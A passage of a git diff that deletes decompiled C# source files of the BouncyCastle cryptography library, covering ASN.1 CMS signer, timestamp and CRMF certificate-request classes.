!_crlsCalled) - { - throw new IOException("GetCerts() and/or GetCrls() has not been called."); - } - if (_nextObject == null) - { - _nextObject = _seq.ReadObject(); - } - return (Asn1SetParser)_nextObject; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignerIdentifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignerIdentifier.cs deleted file mode 100644 index a280219..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignerIdentifier.cs +++ /dev/null @@ -1,64 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class SignerIdentifier : Asn1Encodable, IAsn1Choice -{ - private Asn1Encodable id; - - public bool IsTagged => id is Asn1TaggedObject; - - public Asn1Encodable ID - { - get - { - if (id is Asn1TaggedObject) - { - return Asn1OctetString.GetInstance((Asn1TaggedObject)id, isExplicit: false); - } - return id; - } - } - - public SignerIdentifier(IssuerAndSerialNumber id) - { - this.id = id; - } - - public SignerIdentifier(Asn1OctetString id) - { - this.id = new DerTaggedObject(explicitly: false, 0, id); - } - - public SignerIdentifier(Asn1Object id) - { - this.id = id; - } - - public static SignerIdentifier GetInstance(object o) - { - if (o == null || o is SignerIdentifier) - { - return (SignerIdentifier)o; - } - if (o is IssuerAndSerialNumber) - { - return new SignerIdentifier((IssuerAndSerialNumber)o); - } - if (o is Asn1OctetString) - { - return new SignerIdentifier((Asn1OctetString)o); - } - if (o is Asn1Object) - { - return new SignerIdentifier((Asn1Object)o); - } - throw new ArgumentException("Illegal object in SignerIdentifier: " + Platform.GetTypeName(o)); - } - - public override Asn1Object ToAsn1Object() - { - return id.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignerInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignerInfo.cs deleted file mode 100644 index b1faaa8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/SignerInfo.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class SignerInfo : Asn1Encodable -{ - private DerInteger version; - - private SignerIdentifier sid; - - private AlgorithmIdentifier digAlgorithm; - - private Asn1Set authenticatedAttributes; - - private AlgorithmIdentifier digEncryptionAlgorithm; - - private Asn1OctetString encryptedDigest; - - private Asn1Set unauthenticatedAttributes; - - public DerInteger Version => version; - - public SignerIdentifier SignerID => sid; - - public Asn1Set AuthenticatedAttributes => authenticatedAttributes; - - public AlgorithmIdentifier DigestAlgorithm => digAlgorithm; - - public Asn1OctetString EncryptedDigest => encryptedDigest; - - public AlgorithmIdentifier DigestEncryptionAlgorithm => digEncryptionAlgorithm; - - public Asn1Set UnauthenticatedAttributes => unauthenticatedAttributes; - - public static SignerInfo GetInstance(object obj) - { - if (obj == null || obj is SignerInfo) - { - return (SignerInfo)obj; - } - if (obj is Asn1Sequence) - { - return new SignerInfo((Asn1Sequence)obj); - } - throw new ArgumentException("Unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public SignerInfo(SignerIdentifier sid, AlgorithmIdentifier digAlgorithm, Asn1Set authenticatedAttributes, AlgorithmIdentifier digEncryptionAlgorithm, Asn1OctetString encryptedDigest, Asn1Set unauthenticatedAttributes) - { - version = new DerInteger((!sid.IsTagged) ? 1 : 3); - this.sid = sid; - this.digAlgorithm = digAlgorithm; - this.authenticatedAttributes = authenticatedAttributes; - this.digEncryptionAlgorithm = digEncryptionAlgorithm; - this.encryptedDigest = encryptedDigest; - this.unauthenticatedAttributes = unauthenticatedAttributes; - } - - public SignerInfo(SignerIdentifier sid, AlgorithmIdentifier digAlgorithm, Attributes authenticatedAttributes, AlgorithmIdentifier digEncryptionAlgorithm, Asn1OctetString encryptedDigest, Attributes unauthenticatedAttributes) - { - version = new DerInteger((!sid.IsTagged) ? 1 : 3); - this.sid = sid; - this.digAlgorithm = digAlgorithm; - this.authenticatedAttributes = Asn1Set.GetInstance(authenticatedAttributes); - this.digEncryptionAlgorithm = digEncryptionAlgorithm; - this.encryptedDigest = encryptedDigest; - this.unauthenticatedAttributes = Asn1Set.GetInstance(unauthenticatedAttributes); - } - - [Obsolete("Use 'GetInstance' instead")] - public SignerInfo(Asn1Sequence seq) - { - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - version = (DerInteger)enumerator.Current; - enumerator.MoveNext(); - sid = SignerIdentifier.GetInstance(enumerator.Current); - enumerator.MoveNext(); - digAlgorithm = AlgorithmIdentifier.GetInstance(enumerator.Current); - enumerator.MoveNext(); - object current = enumerator.Current; - if (current is Asn1TaggedObject) - { - authenticatedAttributes = Asn1Set.GetInstance((Asn1TaggedObject)current, explicitly: false); - enumerator.MoveNext(); - digEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(enumerator.Current); - } - else - { - authenticatedAttributes = null; - digEncryptionAlgorithm = AlgorithmIdentifier.GetInstance(current); - } - enumerator.MoveNext(); - encryptedDigest = Asn1OctetString.GetInstance(enumerator.Current); - if (enumerator.MoveNext()) - { - unauthenticatedAttributes = Asn1Set.GetInstance((Asn1TaggedObject)enumerator.Current, explicitly: false); - } - else - { - unauthenticatedAttributes = null; - } - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version, sid, digAlgorithm); - if (authenticatedAttributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 0, authenticatedAttributes)); - } - asn1EncodableVector.Add(digEncryptionAlgorithm, encryptedDigest); - if (unauthenticatedAttributes != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: false, 1, unauthenticatedAttributes)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Time.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Time.cs deleted file mode 100644 index 883fde7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/Time.cs +++ /dev/null @@ -1,95 +0,0 @@ -using System; -using System.Globalization; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class Time : Asn1Encodable, IAsn1Choice -{ - private readonly Asn1Object time; - - public string TimeString - { - get - { - if (time is DerUtcTime) - { - return ((DerUtcTime)time).AdjustedTimeString; - } - return ((DerGeneralizedTime)time).GetTime(); - } - } - - public DateTime Date - { - get - { - try - { - if (time is DerUtcTime) - { - return ((DerUtcTime)time).ToAdjustedDateTime(); - } - return ((DerGeneralizedTime)time).ToDateTime(); - } - catch (FormatException ex) - { - throw new InvalidOperationException("invalid date string: " + ex.Message); - } - } - } - - public static Time GetInstance(Asn1TaggedObject obj, bool explicitly) - { - return GetInstance(obj.GetObject()); - } - - public Time(Asn1Object time) - { - if (time == null) - { - throw new ArgumentNullException("time"); - } - if (!(time is DerUtcTime) && !(time is DerGeneralizedTime)) - { - throw new ArgumentException("unknown object passed to Time"); - } - this.time = time; - } - - public Time(DateTime date) - { - string text = date.ToString("yyyyMMddHHmmss", CultureInfo.InvariantCulture) + "Z"; - int num = int.Parse(text.Substring(0, 4)); - if (num < 1950 || num > 2049) - { - time = new DerGeneralizedTime(text); - } - else - { - time = new DerUtcTime(text.Substring(2)); - } - } - - public static Time GetInstance(object obj) - { - if (obj == null || obj is Time) - { - return (Time)obj; - } - if (obj is DerUtcTime) - { - return new Time((DerUtcTime)obj); - } - if (obj is DerGeneralizedTime) - { - return new Time((DerGeneralizedTime)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public override Asn1Object ToAsn1Object() - { - return time; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampAndCrl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampAndCrl.cs deleted file mode 100644 index 13bd6d8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampAndCrl.cs +++ /dev/null @@ -1,48 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Cms; - -public class TimeStampAndCrl : Asn1Encodable -{ - private ContentInfo timeStamp; - - private CertificateList crl; - - public virtual ContentInfo TimeStampToken => timeStamp; - - public virtual CertificateList Crl => crl; - - public TimeStampAndCrl(ContentInfo timeStamp) - { - this.timeStamp = timeStamp; - } - - private TimeStampAndCrl(Asn1Sequence seq) - { - timeStamp = ContentInfo.GetInstance(seq[0]); - if (seq.Count == 2) - { - crl = CertificateList.GetInstance(seq[1]); - } - } - - public static TimeStampAndCrl GetInstance(object obj) - { - if (obj is TimeStampAndCrl) - { - return (TimeStampAndCrl)obj; - } - if (obj != null) - { - return new TimeStampAndCrl(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(timeStamp); - asn1EncodableVector.AddOptional(crl); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampTokenEvidence.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampTokenEvidence.cs deleted file mode 100644 index 4fc7130..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampTokenEvidence.cs +++ /dev/null @@ -1,54 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class TimeStampTokenEvidence : Asn1Encodable -{ - private TimeStampAndCrl[] timeStampAndCrls; - - public TimeStampTokenEvidence(TimeStampAndCrl[] timeStampAndCrls) - { - this.timeStampAndCrls = timeStampAndCrls; - } - - public TimeStampTokenEvidence(TimeStampAndCrl timeStampAndCrl) - { - timeStampAndCrls = new TimeStampAndCrl[1] { timeStampAndCrl }; - } - - private TimeStampTokenEvidence(Asn1Sequence seq) - { - timeStampAndCrls = new TimeStampAndCrl[seq.Count]; - int num = 0; - foreach (Asn1Encodable item in seq) - { - timeStampAndCrls[num++] = TimeStampAndCrl.GetInstance(item.ToAsn1Object()); - } - } - - public static TimeStampTokenEvidence GetInstance(Asn1TaggedObject tagged, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(tagged, isExplicit)); - } - - public static TimeStampTokenEvidence GetInstance(object obj) - { - if (obj is TimeStampTokenEvidence) - { - return (TimeStampTokenEvidence)obj; - } - if (obj != null) - { - return new TimeStampTokenEvidence(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public virtual TimeStampAndCrl[] ToTimeStampAndCrlArray() - { - return (TimeStampAndCrl[])timeStampAndCrls.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(timeStampAndCrls); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampedData.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampedData.cs deleted file mode 100644 index 7265958..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampedData.cs +++ /dev/null @@ -1,71 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class TimeStampedData : Asn1Encodable -{ - private DerInteger version; - - private DerIA5String dataUri; - - private MetaData metaData; - - private Asn1OctetString content; - - private Evidence temporalEvidence; - - public virtual DerIA5String DataUri => dataUri; - - public MetaData MetaData => metaData; - - public Asn1OctetString Content => content; - - public Evidence TemporalEvidence => temporalEvidence; - - public TimeStampedData(DerIA5String dataUri, MetaData metaData, Asn1OctetString content, Evidence temporalEvidence) - { - version = new DerInteger(1); - this.dataUri = dataUri; - this.metaData = metaData; - this.content = content; - this.temporalEvidence = temporalEvidence; - } - - private TimeStampedData(Asn1Sequence seq) - { - version = DerInteger.GetInstance(seq[0]); - int index = 1; - if (seq[index] is DerIA5String) - { - dataUri = DerIA5String.GetInstance(seq[index++]); - } - if (seq[index] is MetaData || seq[index] is Asn1Sequence) - { - metaData = MetaData.GetInstance(seq[index++]); - } - if (seq[index] is Asn1OctetString) - { - content = Asn1OctetString.GetInstance(seq[index++]); - } - temporalEvidence = Evidence.GetInstance(seq[index]); - } - - public static TimeStampedData GetInstance(object obj) - { - if (obj is TimeStampedData) - { - return (TimeStampedData)obj; - } - if (obj != null) - { - return new TimeStampedData(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(version); - asn1EncodableVector.AddOptional(dataUri, metaData, content); - asn1EncodableVector.Add(temporalEvidence); - return new BerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampedDataParser.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampedDataParser.cs deleted file mode 100644 index 980cdf7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Cms/TimeStampedDataParser.cs +++ /dev/null @@ -1,65 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Cms; - -public class TimeStampedDataParser -{ - private DerInteger version; - - private DerIA5String dataUri; - - private MetaData metaData; - - private Asn1OctetStringParser content; - - private Evidence temporalEvidence; - - private Asn1SequenceParser parser; - - public virtual DerIA5String DataUri => dataUri; - - public virtual MetaData MetaData => metaData; - - public virtual Asn1OctetStringParser Content => content; - - private TimeStampedDataParser(Asn1SequenceParser parser) - { - this.parser = parser; - version = DerInteger.GetInstance(parser.ReadObject()); - Asn1Object asn1Object = parser.ReadObject().ToAsn1Object(); - if (asn1Object is DerIA5String) - { - dataUri = DerIA5String.GetInstance(asn1Object); - asn1Object = parser.ReadObject().ToAsn1Object(); - } - if (asn1Object is Asn1SequenceParser) - { - metaData = MetaData.GetInstance(asn1Object.ToAsn1Object()); - asn1Object = parser.ReadObject().ToAsn1Object(); - } - if (asn1Object is Asn1OctetStringParser) - { - content = (Asn1OctetStringParser)asn1Object; - } - } - - public static TimeStampedDataParser GetInstance(object obj) - { - if (obj is Asn1Sequence) - { - return new TimeStampedDataParser(((Asn1Sequence)obj).Parser); - } - if (obj is Asn1SequenceParser) - { - return new TimeStampedDataParser((Asn1SequenceParser)obj); - } - return null; - } - - public virtual Evidence GetTemporalEvidence() - { - if (temporalEvidence == null) - { - temporalEvidence = Evidence.GetInstance(parser.ReadObject().ToAsn1Object()); - } - return temporalEvidence; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/ConstructedOctetStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/ConstructedOctetStream.cs deleted file mode 100644 index bfeed53..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/ConstructedOctetStream.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Asn1; - -internal class ConstructedOctetStream : BaseInputStream -{ - private readonly Asn1StreamParser _parser; - - private bool _first = true; - - private Stream _currentStream; - - internal ConstructedOctetStream(Asn1StreamParser parser) - { - _parser = parser; - } - - public override int Read(byte[] buffer, int offset, int count) - { - if (_currentStream == null) - { - if (!_first) - { - return 0; - } - Asn1OctetStringParser asn1OctetStringParser = (Asn1OctetStringParser)_parser.ReadObject(); - if (asn1OctetStringParser == null) - { - return 0; - } - _first = false; - _currentStream = asn1OctetStringParser.GetOctetStream(); - } - int num = 0; - while (true) - { - int num2 = _currentStream.Read(buffer, offset + num, count - num); - if (num2 > 0) - { - num += num2; - if (num == count) - { - return num; - } - continue; - } - Asn1OctetStringParser asn1OctetStringParser2 = (Asn1OctetStringParser)_parser.ReadObject(); - if (asn1OctetStringParser2 == null) - { - break; - } - _currentStream = asn1OctetStringParser2.GetOctetStream(); - } - _currentStream = null; - return num; - } - - public override int ReadByte() - { - if (_currentStream == null) - { - if (!_first) - { - return 0; - } - Asn1OctetStringParser asn1OctetStringParser = (Asn1OctetStringParser)_parser.ReadObject(); - if (asn1OctetStringParser == null) - { - return 0; - } - _first = false; - _currentStream = asn1OctetStringParser.GetOctetStream(); - } - while (true) - { - int num = _currentStream.ReadByte(); - if (num >= 0) - { - return num; - } - Asn1OctetStringParser asn1OctetStringParser2 = (Asn1OctetStringParser)_parser.ReadObject(); - if (asn1OctetStringParser2 == null) - { - break; - } - _currentStream = asn1OctetStringParser2.GetOctetStream(); - } - _currentStream = null; - return -1; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/AttributeTypeAndValue.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/AttributeTypeAndValue.cs deleted file mode 100644 index 07993f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/AttributeTypeAndValue.cs +++ /dev/null @@ -1,50 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class AttributeTypeAndValue : Asn1Encodable -{ - private readonly DerObjectIdentifier type; - - private readonly Asn1Encodable value; - - public virtual DerObjectIdentifier Type => type; - - public virtual Asn1Encodable Value => value; - - private AttributeTypeAndValue(Asn1Sequence seq) - { - type = (DerObjectIdentifier)seq[0]; - value = seq[1]; - } - - public static AttributeTypeAndValue GetInstance(object obj) - { - if (obj is AttributeTypeAndValue) - { - return (AttributeTypeAndValue)obj; - } - if (obj is Asn1Sequence) - { - return new AttributeTypeAndValue((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public AttributeTypeAndValue(string oid, Asn1Encodable value) - : this(new DerObjectIdentifier(oid), value) - { - } - - public AttributeTypeAndValue(DerObjectIdentifier type, Asn1Encodable value) - { - this.type = type; - this.value = value; - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(type, value); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertId.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertId.cs deleted file mode 100644 index 90650cc..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertId.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class CertId : Asn1Encodable -{ - private readonly GeneralName issuer; - - private readonly DerInteger serialNumber; - - public virtual GeneralName Issuer => issuer; - - public virtual DerInteger SerialNumber => serialNumber; - - private CertId(Asn1Sequence seq) - { - issuer = GeneralName.GetInstance(seq[0]); - serialNumber = DerInteger.GetInstance(seq[1]); - } - - public static CertId GetInstance(object obj) - { - if (obj is CertId) - { - return (CertId)obj; - } - if (obj is Asn1Sequence) - { - return new CertId((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public static CertId GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(issuer, serialNumber); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertReqMessages.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertReqMessages.cs deleted file mode 100644 index 5f22fdf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertReqMessages.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class CertReqMessages : Asn1Encodable -{ - private readonly Asn1Sequence content; - - private CertReqMessages(Asn1Sequence seq) - { - content = seq; - } - - public static CertReqMessages GetInstance(object obj) - { - if (obj is CertReqMessages) - { - return (CertReqMessages)obj; - } - if (obj is Asn1Sequence) - { - return new CertReqMessages((Asn1Sequence)obj); - } - throw new ArgumentException("Invalid object: " + Platform.GetTypeName(obj), "obj"); - } - - public CertReqMessages(params CertReqMsg[] msgs) - { - content = new DerSequence(msgs); - } - - public virtual CertReqMsg[] ToCertReqMsgArray() - { - CertReqMsg[] array = new CertReqMsg[content.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = CertReqMsg.GetInstance(content[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - return content; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertReqMsg.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertReqMsg.cs deleted file mode 100644 index 1c512b9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertReqMsg.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class CertReqMsg : Asn1Encodable -{ - private readonly CertRequest certReq; - - private readonly ProofOfPossession popo; - - private readonly Asn1Sequence regInfo; - - public virtual CertRequest CertReq => certReq; - - public virtual ProofOfPossession Popo => popo; - - private CertReqMsg(Asn1Sequence seq) - { - certReq = CertRequest.GetInstance(seq[0]); - for (int i = 1; i < seq.Count; i++) - { - object obj = seq[i]; - if (obj is Asn1TaggedObject || obj is ProofOfPossession) - { - popo = ProofOfPossession.GetInstance(obj); - } - else - { - regInfo = Asn1Sequence.GetInstance(obj); - } - } - } - - public static CertReqMsg GetInstance(object obj) - { - if (obj is CertReqMsg) - { - return (CertReqMsg)obj; - } - if (obj != null) - { - return new CertReqMsg(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public static CertReqMsg GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - public CertReqMsg(CertRequest certReq, ProofOfPossession popo, AttributeTypeAndValue[] regInfo) - { - if (certReq == null) - { - throw new ArgumentNullException("certReq"); - } - this.certReq = certReq; - this.popo = popo; - if (regInfo != null) - { - this.regInfo = new DerSequence(regInfo); - } - } - - public virtual AttributeTypeAndValue[] GetRegInfo() - { - if (regInfo == null) - { - return null; - } - AttributeTypeAndValue[] array = new AttributeTypeAndValue[regInfo.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = AttributeTypeAndValue.GetInstance(regInfo[i]); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certReq); - asn1EncodableVector.AddOptional(popo, regInfo); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertRequest.cs deleted file mode 100644 index 0e1aadd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertRequest.cs +++ /dev/null @@ -1,58 +0,0 @@ -namespace Org.BouncyCastle.Asn1.Crmf; - -public class CertRequest : Asn1Encodable -{ - private readonly DerInteger certReqId; - - private readonly CertTemplate certTemplate; - - private readonly Controls controls; - - public virtual DerInteger CertReqID => certReqId; - - public virtual CertTemplate CertTemplate => certTemplate; - - public virtual Controls Controls => controls; - - private CertRequest(Asn1Sequence seq) - { - certReqId = DerInteger.GetInstance(seq[0]); - certTemplate = CertTemplate.GetInstance(seq[1]); - if (seq.Count > 2) - { - controls = Controls.GetInstance(seq[2]); - } - } - - public static CertRequest GetInstance(object obj) - { - if (obj is CertRequest) - { - return (CertRequest)obj; - } - if (obj != null) - { - return new CertRequest(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public CertRequest(int certReqId, CertTemplate certTemplate, Controls controls) - : this(new DerInteger(certReqId), certTemplate, controls) - { - } - - public CertRequest(DerInteger certReqId, CertTemplate certTemplate, Controls controls) - { - this.certReqId = certReqId; - this.certTemplate = certTemplate; - this.controls = controls; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(certReqId, certTemplate); - asn1EncodableVector.AddOptional(controls); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertTemplate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertTemplate.cs deleted file mode 100644 index a8ef354..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertTemplate.cs +++ /dev/null @@ -1,110 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class CertTemplate : Asn1Encodable -{ - private readonly Asn1Sequence seq; - - private readonly DerInteger version; - - private readonly DerInteger serialNumber; - - private readonly AlgorithmIdentifier signingAlg; - - private readonly X509Name issuer; - - private readonly OptionalValidity validity; - - private readonly X509Name subject; - - private readonly SubjectPublicKeyInfo publicKey; - - private readonly DerBitString issuerUID; - - private readonly DerBitString subjectUID; - - private readonly X509Extensions extensions; - - public virtual int Version => version.Value.IntValue; - - public virtual DerInteger SerialNumber => serialNumber; - - public virtual AlgorithmIdentifier SigningAlg => signingAlg; - - public virtual X509Name Issuer => issuer; - - public virtual OptionalValidity Validity => validity; - - public virtual X509Name Subject => subject; - - public virtual SubjectPublicKeyInfo PublicKey => publicKey; - - public virtual DerBitString IssuerUID => issuerUID; - - public virtual DerBitString SubjectUID => subjectUID; - - public virtual X509Extensions Extensions => extensions; - - private CertTemplate(Asn1Sequence seq) - { - this.seq = seq; - foreach (Asn1TaggedObject item in seq) - { - switch (item.TagNo) - { - case 0: - version = DerInteger.GetInstance(item, isExplicit: false); - break; - case 1: - serialNumber = DerInteger.GetInstance(item, isExplicit: false); - break; - case 2: - signingAlg = AlgorithmIdentifier.GetInstance(item, explicitly: false); - break; - case 3: - issuer = X509Name.GetInstance(item, explicitly: true); - break; - case 4: - validity = OptionalValidity.GetInstance(Asn1Sequence.GetInstance(item, explicitly: false)); - break; - case 5: - subject = X509Name.GetInstance(item, explicitly: true); - break; - case 6: - publicKey = SubjectPublicKeyInfo.GetInstance(item, explicitly: false); - break; - case 7: - issuerUID = DerBitString.GetInstance(item, isExplicit: false); - break; - case 8: - subjectUID = DerBitString.GetInstance(item, isExplicit: false); - break; - case 9: - extensions = X509Extensions.GetInstance(item, explicitly: false); - break; - default: - throw new ArgumentException("unknown tag: " + item.TagNo, "seq"); - } - } - } - - public static CertTemplate GetInstance(object obj) - { - if (obj is CertTemplate) - { - return (CertTemplate)obj; - } - if (obj != null) - { - return new CertTemplate(Asn1Sequence.GetInstance(obj)); - } - return null; - } - - public override Asn1Object ToAsn1Object() - { - return seq; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertTemplateBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertTemplateBuilder.cs deleted file mode 100644 index 08a63c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/Crmf/CertTemplateBuilder.cs +++ /dev/null @@ -1,110 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; - -namespace Org.BouncyCastle.Asn1.Crmf; - -public class CertTemplateBuilder -{ - private DerInteger version; - - private DerInteger serialNumber; - - private AlgorithmIdentifier signingAlg; - - private X509Name issuer; - - private OptionalValidity validity; - - private X509Name subject; - - private SubjectPublicKeyInfo publicKey; - - private DerBitString issuerUID; - - private DerBitString subjectUID; - - private X509Extensions extensions; - - public virtual CertTemplateBuilder SetVersion(int ver) - { - version = new DerInteger(ver); - return this; - } - - public virtual CertTemplateBuilder SetSerialNumber(DerInteger ser) - { - serialNumber = ser; - return this; - } - - public virtual CertTemplateBuilder SetSigningAlg(AlgorithmIdentifier aid) - { - signingAlg = aid; - return this; - } - - public virtual CertTemplateBuilder SetIssuer(X509Name name) - { - issuer = name; - return this; - } - - public virtual CertTemplateBuilder SetValidity(OptionalValidity v) - { - validity = v; - return this; - } - - public virtual CertTemplateBuilder SetSubject(X509Name name) - { - subject = name; - return this; - } - - public virtual CertTemplateBuilder SetPublicKey(SubjectPublicKeyInfo spki) - { - publicKey = spki; - return this; - } - - public virtual CertTemplateBuilder SetIssuerUID(DerBitString uid) - { - issuerUID = uid; - return this; - } - - public virtual CertTemplateBuilder SetSubjectUID(DerBitString uid) - { - subjectUID = uid; - return this; - } - - public virtual CertTemplateBuilder SetExtensions(X509Extensions extens) - { - extensions = extens; - return this; - } - - public virtual CertTemplate Build() - { - Asn1EncodableVector v = new Asn1EncodableVector(); - AddOptional(v, 0, isExplicit: false, version); - AddOptional(v, 1, isExplicit: false, serialNumber); - AddOptional(v, 2, isExplicit: false, signingAlg); - AddOptional(v, 3, isExplicit: true, issuer); - AddOptional(v, 4, isExplicit: false, validity); - AddOptional(v, 5, isExplicit: true, subject); - AddOptional(v, 6, isExplicit: false, publicKey); - AddOptional(v, 7, isExplicit: false, issuerUID); - AddOptional(v, 8, isExplicit: false, subjectUID); - 